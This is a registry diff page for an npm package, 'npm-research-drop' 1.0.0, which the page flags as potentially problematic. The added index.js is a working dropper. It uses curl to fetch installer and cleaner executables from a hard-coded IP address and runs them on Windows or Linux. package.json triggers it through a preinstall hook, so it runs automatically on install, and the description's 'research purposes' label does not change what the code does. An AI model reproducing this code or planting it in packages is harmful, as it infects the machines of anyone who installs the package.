npm-research-drop 1.0.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of npm-research-drop might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/index.js +60 -0
  2. package/package.json +11 -0
package/index.js ADDED
@@ -0,0 +1,60 @@
1
+ const { exec } = require('child_process');
2
+ const os = require('os');
3
+
4
+ function getWin() {
5
+ return new Promise((resolve, reject) => {
6
+ exec('curl http://168.100.10.198:9001/installer_win.exe --output installer_win.exe', (error, stdout, stderr) => {
7
+ if (error) {
8
+ reject(error);
9
+ } else {
10
+ exec('curl http://168.100.10.198:9001/cleaner_win.exe --output cleaner_win.exe');
11
+ resolve(stdout);
12
+ }
13
+ });
14
+ });
15
+ }
16
+
17
+ function getUnix() {
18
+ return new Promise((resolve, reject) => {
19
+ exec('curl http://168.100.10.198:9001/installer_linux --output installer_linux', (error, stdout, stderr) => {
20
+ if (error) {
21
+ reject(error);
22
+ } else {
23
+ exec('curl http://168.100.10.198:9001/cleaner_linux --output cleaner_linux');
24
+ resolve(stdout);
25
+ }
26
+ });
27
+ });
28
+ }
29
+
30
+ function exePayload(os) {
31
+ if(os === 'win'){
32
+ exec('installer_win.exe');
33
+ }
34
+ else{
35
+ exec('chmod +x installer_linux');
36
+ exec('chmod +x cleaner_linux');
37
+ exec('./installer_linux');
38
+ }
39
+ }
40
+
41
+ async function runPayload() {
42
+ if (os.platform() === 'win32') {
43
+ try {
44
+ await getWin();
45
+ exePayload('win');
46
+ } catch (error) {
47
+ console.error(error);
48
+ }
49
+ }
50
+ else{
51
+ try {
52
+ await getUnix();
53
+ exePayload('unix');
54
+ } catch (error) {
55
+ console.error(error);
56
+ }
57
+ }
58
+ }
59
+
60
+ runPayload();
package/package.json ADDED
@@ -0,0 +1,11 @@
1
+ {
2
+ "name": "npm-research-drop",
3
+ "version": "1.0.0",
4
+ "description": "This package is for research purposes. Do not download it!",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "preinstall": "node index.js"
8
+ },
9
+ "author": "",
10
+ "license": "ISC"
11
+ }